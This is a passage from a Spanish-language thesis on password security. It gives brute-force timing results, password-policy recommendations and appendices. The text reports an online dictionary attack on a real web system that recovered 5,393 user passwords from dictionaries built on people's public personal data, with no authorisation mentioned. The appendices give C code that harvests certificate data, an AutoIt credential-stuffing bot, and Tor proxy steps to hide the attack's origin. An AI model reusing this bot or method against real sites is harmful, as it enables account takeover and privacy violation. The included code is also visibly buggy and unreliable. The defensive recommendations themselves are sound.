3.2. Ataque fuera de línea.

De un análisis de 125 contraseñas se recuperaron 76 contraseñas gracias a la

herramienta Cain y Abel con la cual se implementó un ataque de fuerza bruta, lo

que representa el 60.8% del total de contraseñas, En la Figura 3.2, se muestran los

resultados obtenidos de este caso de estudio en una gráfica

Figura 3.2. Porcentaje de contraseñas recuperadas mediante ataque defuerza bruta.

En la Tabla 3.1 se muestra el tiempo que tardó la herramienta Cain y Abel en

recuperar los diferentes tipos de contraseñas.

Tipos de contraseñas. Numero de contraseñasrecuperadas.

Tiempo de recuperación.

Numéricas. 25 1 minuto.

Minúsculas. 25 8 horas 16 minutos.

Mayúsculas. 25 8 horas.

Mayúsculas y minúsculas. 1 120 horas.

Mayúsculas, minúsculas, númerosy caracteres especiales.

0 240 horas.

TOTAL 76 376 horas 17 minutos

Tabla 3.1. Muestra tiempo de recuperación de las contraseñas generadas.

Ataque de fuerza bruta (Fuera de línea).

Total de contraseñas. Contraseñas recuperadas.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 48 -

Conclusiones.

En ese trabajo se proponen políticas que aportan un marco de referencia para que

los usuarios establezcan contraseñas con mayor fortaleza y que buscan crear

soluciones a los ataques informáticos. Para que esto fuera posible, se identificaron

vulnerabilidades que existen en un equipo de cómputo con respecto al

almacenamiento de las contraseñas, mediante un ataque de fuerza bruta a 125

contraseñas generadas aleatoriamente de diferente composición (solo números,

minúsculas, mayúsculas, minúsculas-mayúsculas y números-minúsculas-

mayúsculas- caracteres especiales) se demostró que es posible recuperarlas. Se

necesitó 376 horas 17 minutos para recuperar de 125 contraseñas, 76 contraseñas

de diferente composición (25 contraseñas numéricas, 25 contraseñas estructuradas

con minúsculas, 25 contraseñas elaboradas con mayúsculas y solo 1 contraseña

constituida por mayúsculas, minúsculas y caracteres especiales).

En los equipos de cómputo se almacena información muy importante, Windows deja

abierta una vulnerabilidad al poderse extraer el archivo donde se almacenan los

digestos.

Con el motivo de poner en práctica los conocimientos adquiridos durante esta

investigación y saber cómo funciona un ataque de diccionario, se explotaron

vulnerabilidades que existen en un sistema web. Todos los usuarios que hacen uso

de certificados digitales tiene cierta información pública a disposición, entre la que

es posible mencionar: nombre, fecha de nacimiento, lugar de nacimiento, correo

electrónico, RFC, CURP, entre otros. Con la información pública de cada usuario se

elaboró un diccionario de posibles contraseñas con la hipótesis básica de que su

contraseña estaba basada en su RFC, y se ejecutó el ataque en su modalidad en

línea, los resultados son alarmantes, de un análisis de 160,359 usuarios, se

obtuvieron 5,393 contraseñas, lo cual nos dice que las personas siguen elaborando

contraseñas relacionadas con sus datos personales.

En la actualidad no existe una métrica estándar para medir la seguridad de una

contraseña, los medidores que se utilizan en los sistemas web para medir la

fortaleza de las contraseñas sólo muestran la seguridad en porcentaje, otros sólo

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 49 -

indican si se utilizan los caracteres adecuados y en el mejor de los casos muestran

el resultado de la entropía basada en el NIST o la entropía clásica, aunque en

ocasiones puntuaciones altas de entropía se ven indefensas ante ataques de

diccionario o fuerza bruta.

La entropía de acuerdo a como se planteó en el NIST SP800-63 es un intento por

querer aumentar la seguridad en las contraseñas, para medirlas contempla

diferentes circunstancias en las cuales se pueden ver comprometidas,

lamentablemente no es suficiente, hay mucho por hacer.

El marco de referencia que a continuación se enlista, tiene la finalidad de orientar

sobre medidas de prevención de ataques de diccionario y fuerza bruta, además de

ir enfocado tanto desarrolladores de aplicaciones, como a los usuarios de las

mismas.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 50 -

Marco de referencia para mejorar la fortaleza de las contraseñas.

Para aumentar la seguridad de las contraseñas se recomienda a los usuarios tomar

en cuenta las siguientes recomendaciones para la creación y establecimiento de

contraseñas seguras:

1.-Se sugiere al usuario utilizar como mínimo 16 caracteres al crear una contraseña.

Si se utilizan menos, el tiempo para comprometer la contraseña, disminuye.

2.-Se recomienda utilizar en la composición de la contraseña, dígitos, letras,

además de utilizar signos de puntuación y símbolos si el sistema lo permite, como: !

" # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ` { | } ~, hay que evitar utilizar solamente

números, letras mayúsculas o minúsculas en la contraseña.

3.-Es recomendable que las letras sean alternadas aleatoriamente (mayúsculas y

minúsculas).

4.-Cambiar las contraseñas cada cierto periodo de tiempo (aproximadamente cada

tres meses).

5.-Se debe evitar utilizar la misma contraseña siempre en todos los sistemas y

servicios.

6.-No utilizar información pública en la contraseña: nombre del usuario o de sus

familiares, ni apellidos, ni fecha de nacimiento, ni datos como CURP, RFC o número

de teléfono.

7.-Hay que evitar utilizar secuencias básicas de teclado (por ejemplo:”qwerty”, “asdf”

o las típicas en numeración: “1234” ó “98765”)

8.-No repetir los mismos caracteres en la misma contraseña. (ej.: “111222”).

9.-No poner como contraseña apodos, el nombre del actor o de un personaje de

ficción preferido.

10.-No se deben utilizar palabras que existan en diccionarios de cualquier idioma.

Hoy en día existen programas de ruptura de claves que basan su ataque en probar

una a una las palabras que se extraen de diccionarios.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 51 -

11.-Cambiar las contraseñas por defecto proporcionadas por

desarrolladores/fabricantes.

12.-Nunca escribir la contraseña en papel.

13.-No compartir la contraseña con colegas de trabajo, amigos, compañeros de

escuela etc.

14.-No utilizar formas de relleno automático o auto completar contraseña.

A los desarrolladores:

1.-Usar CAPTCHA en el diseño de sistemas web.

2.-Limitar el número de intentos de inicio de sesión erróneos a sólo tres.

Cuando se exceda el número de intentos de inicio de sesión permitidos, se le

sugiere al desarrollador del sistema web tomar alguna de las siguientes

recomendaciones:

Impedir cualquier otro intento de inicio de sesión para el dispositivo, es

decir, inhabilitar el dispositivo.

Impedir cualquier otro intento de inicio de sesión que permita acceder a la

información del usuario.

Inhabilitar tanto la información del usuario como el dispositivo.

3.-Implementar medidores de fortaleza de contraseña en la etapa de su

establecimiento, para hacer consciente al usuario de la importancia de estructurar

una contraseña con las características adecuadas.

4.-Agregar Salt a las contraseñas antes de pasarlas por una función picadillo.

5.-Bloquear las variables susceptibles a inyección de datos.

6.-Ocultar código HTML del sistema web.

CAPÍTULO 3. RESULTADOS Y CONCLUSIONES

- 52 -

Trabajo futuro.

Los siguientes puntos se pueden considerar a futuro, para realizar un aporte más

amplio en cuestión al estudio de las contraseñas.

1. El ataque de diccionario realizado al sistema web se puede mejorar

implementando otras hipótesis de posibles contraseñas.

2. Extender el estudio a más Sistemas Operativos.

3. Se puede proponer una nueva métrica para medir la fortaleza de las

contraseñas.

REFERENCIAS BIBLIOGRÁFICAS

- 53 -

Referencias bibliográficas.

[1] Menezes, A., Van Oorschot, P. and Vanstone, S. (1997). Handbook of applied

cryptography. Boca Raton: CRC Press.

[2] Fúster Sabater, A. (2012). Criptografía, protección de datos y aplicaciones. Para

cuellos de Jarama, Madrid: Ra-Ma.

[3] Unixwiz.net, (2015). An Illustrated Guide to Cryptographic Hashes. [En línea]

Disponible en: http://www.unixwiz.net/techtips/iguide-crypto-hashes.html

[Consultado 11 Nov. 2015].

[4] Lucena López, M. (2002). Criptografía y Seguridad en Computadores. 3rd ed.

[5] Weir, M., Aggarwa, S., Collins, M. and Stern, H. (2015). Testing Metrics for

Password Creation Policies by Attacking Large Sets of Revealed Passwords..

Florida State University.

[6] NIST. SP 800-63-2 Electronic Authentication Guideline, 2013.

[7] Tilborg, H. and Jajodia, S. (2011). Encyclopedia of cryptography and security.

New York: Springer

[8] Tori, C. (2008). Hacking ético. [S.l.]: [s.n.].

[9] WonderHowTo, (2014). Hack Like a Pro: How to Crack Passwords, Part 1

(Principles & Technologies). [En línea] Disponible en: http://null-

byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-1-principles-

technologies-0156136/ [Consultado 27 Oct. 2015].

REFERENCIAS BIBLIOGRÁFICAS

- 54 -

[10] Redyseguridad.fi-p.unam.mx, (2015). .:: Seguridad Informática ::.. [En línea]

Disponible en: http://redyseguridad.fi-

p.unam.mx/proyectos/seguridad/ControlAcceso.php [Consultado 27 Oct. 2015].

[11] Díaz, S. and Chakraborty, D. (2015). On Securing Communication From

Profilers. México, D.F: CINVESTAV IPN, p.5. Disponible en:

https://eprint.iacr.org/2012/124.pdf [Consultado el 8 Nov. 2015].

[12] Unixwiz.net, (2015). An Illustrated Guide to Cryptographic Hashes. [En línea]

Disponible en: http://www.unixwiz.net/techtips/iguide-crypto-hashes.html

[Consultado el 15 Oct. 2015].

[13] López Pesa, C. (2005). Sistema de Seguridad para Intercambio de Datos en

Dispositivos Móviles. Maestría. CENTRO DE INVESTIGACIÓN Y DE ESTUDIOS

AVANZADOS.

[14] Iso.org, (2014). ISO/IEC 27000:2014 - Information technology -- Security

techniques -- Information security management systems -- Overview and

vocabulary. [En línea]: Disponible en

http://www.iso.org/iso/catalogue_detail?csnumber=63411 [Consultado el 19 Nov.

2015].

[15] Seguridad.unam.mx, (2015). Aspectos Básicos de la Seguridad en Aplicaciones

Web | Documentos - CSI -. [En línea] Disponible en:

http://www.seguridad.unam.mx/documento/?id=17 [Consultado el 19 Nov. 2015].

[16] Passwordmeter.com, (2015). Password Strength Checker. [En línea] Disponible

en: http://www.passwordmeter.com/ [Consultado el 19 Nov. 2015].

REFERENCIAS BIBLIOGRÁFICAS

- 55 -

[17] Grc.com, (2015). GRC's | Password Haystacks: How Well Hidden is Your

Needle?. [En línea] Disponible en: https://www.grc.com/haystack.htm [Consultado el

19 Nov. 2015].

[18] Julián, G. (2015). ¿Cómo funciona la red Tor? [En línea] Genbeta.com.

Disponible en: http://www.genbeta.com/seguridad/como-funciona-la-red-tor

[Consultado el 4 Nov. 2015].

[19] K@mel, J. and K@mel, J. (2014). Seguridad Informática [Ethical Hacking,Pen-

test,Anti Script-kiddies]: abril 2014. [En línea] Antisec-security.blogspot.mx.

Disponible en : http://antisec-security.blogspot.mx/2014_04_01_archive.html

[Consultado el 4 Nov. 2015].

[20] Portal.sitiosregios.net, (2015). ¿Qué es un Proxy y para qué sirve? -

Conocimiento - Sitios Regios. [En línea] Disponible en :

http://portal.sitiosregios.net/knowledgebase/124/iQue--es-un-Proxy-y-para-que-

sirve-.html [Consultado el 4 Nov. 2015].

[21] Bennett, J. (2015). Home - AutoIt. [En línea] AutoIt. Disponible en :

https://www.autoitscript.com/site/ [Consultado el 4 Nov. 2015].

[22] Freebsd.org, (2015). 14.9. OpenSSL. [En línea] Disponible en:

https://www.freebsd.org/doc/es/books/handbook/openssl.html [Consultado el 4

Nov. 2015].

[23] Uv.es, (2015). Introducción a los certificados digitales. [En línea] Disponible en:

http://www.uv.es/sto/articulos/BEI-2003-11/certificados_digitales.html [Consultado

el 27 Nov. 2015].

REFERENCIAS BIBLIOGRÁFICAS

- 56 -

[24] Oxid.it, (2015). oxid.it - Cain & Abel. [En línea] Disponible en:

http://www.oxid.it/cain.html [Consultado el 27 Nov. 2015].

[25] Tori, C. (2008). Hacking ético. [S.l.]: [s.n.].

[26] GuaJava, (2015). Condimenta la seguridad con un poco de Sal | GuaJava. [En

línea] Disponible en : http://www.guajava.net/condimenta-la-seguridad-con-sal/

[Consultado el 27 Nov. 2015].

[27] Grc.com, (2015). GRC's | Password Haystacks: How Well Hidden is Your

Needle?. [En línea] Disponible en: https://www.grc.com/haystack.htm [Consultado el

27 Nov. 2015].

[28] Passwordmeter.com, (2015). Password Strength Checker. [En línea] Disponible

en : http://www.passwordmeter.com/ [Consultado el 27 Nov. 2015].

[29] Benedicto Tovar, R. (2010). “Aplicación de metodologías de paralelización para

la generación de tablas rainbow mediante la utilización de servidores de altas

prestaciones en gnu/Linux”. Licenciatura. Universidad de Almería.

APÉNDICE A

- 57 -

A. PROGRAMA DE OBTENCIÓN DE INFORMACIÓN(CERTIFICADOS).A continuación se muestra el programa cuyo objetivo fue el extraer los datos de

cada certificado. Para ejecutar este programa es necesario el compilador C dentro

del sistema operativo Linux, así como precisar la ubicación de los certificados.

//####################################################################################

#include <openssl/x509v3.h>#include <openssl/bn.h>#include <openssl/asn1.h>#include <openssl/x509.h>#include <openssl/x509_vfy.h>#include <openssl/pem.h>#include <openssl/bio.h>#include<stdio.h>#include <string.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>

int main(){

char instruccionfinal[3000];char texto[100];char txt[100];char textof[1000];char textof2[1000];

char buff[512];char resultado[1000];

int num=203000100;int cnt=0;char instruccionfinal2[3000];int i;char * pch;

char results[2000];char *final;

APÉNDICE A

- 58 -

char *textofx;

char b[1000];char cad[1000];char s11[1000];char a[1000];char m[1000];char d[1000];char e[1000];int z;int cpta=0;int cpta1=0;int cpta2=0;int cpta3=0;int conta1=1;int conta2=1;char s2[100] = "serialNumber=";char s3[100] = "x500UniqueIdentifier=";char s4[100] = "emailAddress=";char s5[100] = "name=";

for(num;num<=203643899;num++){if(cpta==10)

{cpta=0;cpta1++;

}if(cpta3==10)

{cpta3=0;cpta2++;

}if(cpta1==10)

{cpta1=0;

}if(cpta2==10)

{cpta2=0;

}sprintf(txt,"openssl x509 -inform der -in /home/certificados/certificados/cuarto/

/000010/000002/03/%d%d/%d%d/00001000000%d.cer -out/home/certificados/certificados/cuarto/Certificados/000010/000002/03/%d%d/%d%d/00001000000%d.pem",cpta2,cpta3,

APÉNDICE A

- 59 -

cpta1,cpta,num,cpta2,cpta3,cpta1,cpta,num);

system(txt);

conta1++;conta2++;if(conta1==100)

{cpta++;conta1=0;

}if(conta2==10000)

{cpta3++;conta2=0;

}if(cpta==9)

{cpta==0;

}if(cpta3==9)

{cpta3==0;

}

}

FILE in;extern FILE *popen();FILE * pFile;

cpta='\0';cpta1='\0';cpta2='\0';cpta3='\0';conta1=1;conta2=1;

int numero=203000100;pFile = fopen ("todos.txt","a");

for(numero;numero<=203643899;numero++){

if(cpta==10){cpta=0;cpta1++;

APÉNDICE A

- 60 -

}if(cpta3==10)

{cpta3=0;cpta2++;

}if(cpta1==10)

{cpta1=0;

}if(cpta2==10)

{cpta2=0;

}sprintf(instruccionfinal,"opensssl x509 -in /home/certificados/certificados/cuarto

/000010/000002/03/%d%d/%d%d/00001000000%d.pem -noout -subject -nameoptRFC2253",cpta2,cpta3,cpta1,cpta,numero);

conta1++;conta2++;if((in = popen(instruccionfinal, "r")))

{exit(1);}while(gets(buff, sizeof(buff), in)!=NULL)

{}pclose(in);strcat(textof, buff);strcat(b,buff);textofx=strstr (b,s2);if(NULL != strstr(b,s2)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");strcat(cad,textof2);

s11[0] = '\0';a[0] = '\0';m[0] = '\0';d[0] = '\0';e[0] = '\0';strncat( s11, cad, 13);

APÉNDICE A

- 61 -

for (z = 0; (s11[z] = s11[z + 11]) != '\0'; z++);

strcat( e, s11);s11[0] = '\0';strncat( s11, cad, 10);

for (z = 0; (s11[z] = s11[z + 4]) != '\0'; z++);strncat( a, s11, 2);

for (z = 0; (s11[z] = s11[z + 2]) != '\0'; z++);strncat( m, s11, 2 );

for (z = 0; (s11[z] = s11[z + 2]) != '\0'; z++);strcat(textof2,s11);strcat(textof2,",");strcat(textof2,m);strcat(textof2,",");strcat(textof2,a);strcat(textof2,",");strcat(textof2,e);strcat(textof2,",");

}

else{strcat(textof2,"NULL");strcat(textof2,",");

}b[0] ='\0';

//3strcat(b,buff);textofx=strstr (b,s3);

if(NULL != strstr(b,s3)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");

}

APÉNDICE A

- 62 -

else{strcat(textof2,"NULL");strcat(textof2,",");

}

b[0] ='\0';//4

strcat(b,buff);textofx=strstr (b,s4);

if(NULL != strstr(b,s4)){pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");

}

else{strcat(textof2,"NULL");strcat(textof2,",");}

b[0] ='\0';

//5strcat(b,buff);textofx=strstr (b,s5);

if(NULL != strstr(b,s5)){

pch = strtok (textofx,",");strcat(pch,"=");final=strtok (pch,"=");final= strtok (NULL,"=");strcat(textof2,final);strcat(textof2,",");strcat(textof2,"\n");

}

else{strcat(textof2,"NULL");

APÉNDICE A

- 63 -

strcat(textof2,",");strcat(textof2,"\n");

}

//v2

if (pFile=NULL){fputs (textof2,pFile);

}

buff[0] = '\0';textof[0] = '\0';textof2[0] = '\0';cnt=0;b[0] ='\0';s11[0] = '\0';a[0] = '\0';m[0] = '\0';d[0] = '\0';e[0] = '\0';cad[0] = '\0';

if(conta1==100){cpta1++;conta1=0;

}if(conta2==10000)

{cpta3++;conta2=0;

}if(cpta==9)

{cpta2==0;

}if(cpta3==9)

{cpta3==0;

}if(conta1==100)

{cpta++;conta1=0;

APÉNDICE A

- 64 -

}if(conta2==10000)

{cpta3++;conta2=0;

}if(cpta==9)

{cpta==0;

}if(cpta3==9)

{cpta3==0;

}

}printf( "Base de datos terminada, disfruta! \n" );return 0;

}

**################################################################################

APÉNDICE B

- 65 -

B. PROGRAMACIÓN DEL SCRIPT (BOT).A continuación se muestra la programación del bot utilizado, para poder ser

ejecutado, primeramente se tiene que almacenar en un block de notas con

extensión “.au3” y después cargar al software Autoit.

//#####################################################################################include<IE.au3>

$correct= 0;

$num = 0;

$file = "C:\Users\Tesis\Desktop\usuarios.txt"; aquí se extraen los usuarios

$file2 = "C:\Users\Tesis\Desktop\contraseñas.txt"; aquí se extraen las

contraseñas

$myfile = FileOpen("C:\Users\Tesis\Desktop\correctos.txt",1) ; Aquí se

guardan los usuarios correctos

FileOpen($file, 0)

FileOpen($file2, 0)

For $p = 1 To 160359 Step +1

$line = FileReadLine($file, $p)

$line2 = FileReadLine($file2, $p)

$oIE =_IECreate('https:// nidpp/idffz/sso?id=ptsc-

ciec&sid=1&option=credential&sid=1')

$o_login = _IEGetObjByName($oIE,"Ecom_User_ID")

_IEFormElementSetValue(o_login,$line)

$o_password = _IEGetObjByName($oIE,"Ecom_Password")

_IEFormElementSetValue($o_password,$line2)

$o_signin = _IEGetObjByName(oIE,"submit")

Sleep(6000)

_IEAction($oo_signin,"click")

APÉNDICE B

- 66 -

Sleep(6000)

If StringInStr(_IEPropertyGet($oIE, "locationurl"), "https://qwerti12230

/nidp/app?sid=1") Then

FileWriteLine($myfile,$p)

FileWriteLine($myfile,$line)

FileWriteLine($myfile1,$line2)

Else

EndIf

Sleep(5000)

RunWait('taskkill /F /IM "iexplore.exe"')

Next

**###################################################################

APÉNDICE C

67

Manuales.En este apéndice se explica cómo instalar las diferentes herramientas y programas que

fueron utilizados para los casos de estudio ya mencionados en el capítulo 2.

Instalación Cain y Abel.

Para iniciar la descarga del paquete de instalación, se requiere desactivar el

FireWall de Windows, (ya que es detectado como un paquete malicioso) situado en:

Inicio> Panel de Control> Sistema y Seguridad> Firewall de Windows, luego dirigirse a la

pestaña Activar o Desactivar Firewall de Windows y desactivar las 2 configuraciones.

Para la descarga de este paquete de instalación desde el sitio oficial, se

recomienda visitar la página web http://www.oxid.it/cain.html, además de seleccionar el

sistema operativo en el cual se efectuará la instalación.

Una vez descargado el paquete que contiene el programa Cain y Abel, se procede

a la instalación, ejecutando el archivo “ca_setup.exe”, en donde se selecciona la opción

siguiente cada que se mencione, así hasta completar la instalación.

Consecutivamente a lo anterior, se tiene que aceptar otra instalación

complementaria llamada WinPcap, de la misma forma y por último se finaliza.

Para ejecutar la herramienta es necesario ir al icono de Cain y Abel, dar clic

derecho en el mismo y ejecutarlo como administrador, aceptando el cuadro de diálogo

emergente. Hay que recordar tener desactivado el Firewall de Windows, para que no sea

bloqueada la herramienta y mejore su desempeño.

Instalación del navegador Tor.

Para iniciar la descarga del paquete de instalación, se recomienda visitar la página

web: https://www.torproject.org/download/download-easy.html.en

APÉNDICE C

68

Después ejecutar el archivo torbrowser-install-5.0.3_es-ES.exe para extraer el

navegador Tor (considerando el idioma) en una carpeta de la computadora, e instalar.

Para su ejecución sólo se tiene que buscar y abrir la carpeta Tor Browser y hacer

clic derecho en el icono Star Browser, se tiene que ejecutar la aplicación como

administrador, aceptando el cuadro de dialogo emergente.

Activar configuración de Proxy.

Fue de suma importancia habilitar una conexión de tipo proxy, ya que con ella se ocultó

la IP de origen con la finalidad de desviar la procedencia del ataque, como se menciona

en el capítulo 2.

Para activar el servidor proxy dentro del SO Windows, es necesario:

Abrir panel de control> redes de internet> opciones de internet, dirigirse a la

pestaña de Conexiones, acceder a Configuración de LAN y activar el servidor proxy para

LAN, donde la dirección del servidor será 127.0.0.1 (Proxy de Tor), el Puerto que se utiliza

es 9050 y finalmente hay que guardar esta configuración.

Para navegar en internet, es necesario tener ejecutado el software vidalia e iniciar

el navegador Tor, junto con la aplicación Internet Explorer.

Instalación de Autoit.

Se Descarga el software de la página oficial

https://www.autoitscript.com/site/autoit/downloads/

Se ejecuta el archivo autoit-v3-setup.exe, dar click en siguiente para continuar y

aceptar los términos y condiciones, e instalar dependiendo del tipo de sistema operativo

(x64 o x86).

Una vez instalada la aplicación se puede acceder para iniciar con la programación

del proceso que deseamos automatizar.

APÉNDICE C

69

Nota: Todas las anteriores instalaciones son exclusivas para el Sistema Operativo

Windows y a continuación se detallan las instalaciones requeridas en el sistema

operativo Linux (Ubuntu).

Instalación de OpenSSL.OpenSSL es un programa dedicado al tratado de certificados

Para la instalación de este programa, es necesario abrir una terminal en Linux,

introducir la instrucción $ sudo apt-get install openssl, consecuentemente a esto, el

sistema operativo solicita al usuario que ingrese la contraseña como (superusuario), al

insertarla y aceptar con un enter, se observara si ha sido instalada o sólo actualizada la

aplicación.

Instalación de libraríasFue fundamental la programación en C desde Linux, para la construcción de

instrucciones para el manejo de certificados, he aquí las indicaciones para instalar el

compilador de C desde Linux (Ubuntu).

Se instala el paquete del lenguaje C con la instrucción:

$ sudo apt install build-essential

Para compilar el programa realizado en C , es necesario introducir la ruta en donde

se encuentra ubicado el programa con extensión “.c” y enseguida ingresar la instrucción

$ gcc -c -I/usr/local/openssl/include prog.c, para crear el objeto del programa a

compilar es necesario ingresar $ gcc -o prog prog.o -L/usr/openssl/pgsql/lib -lssl y

finalmente para ejecutarlo , es necesario el comando $ ./prog, todo ello en la terminal

de Linux

Para instalar los paquetes mencionados es necesario estar conectados a internet.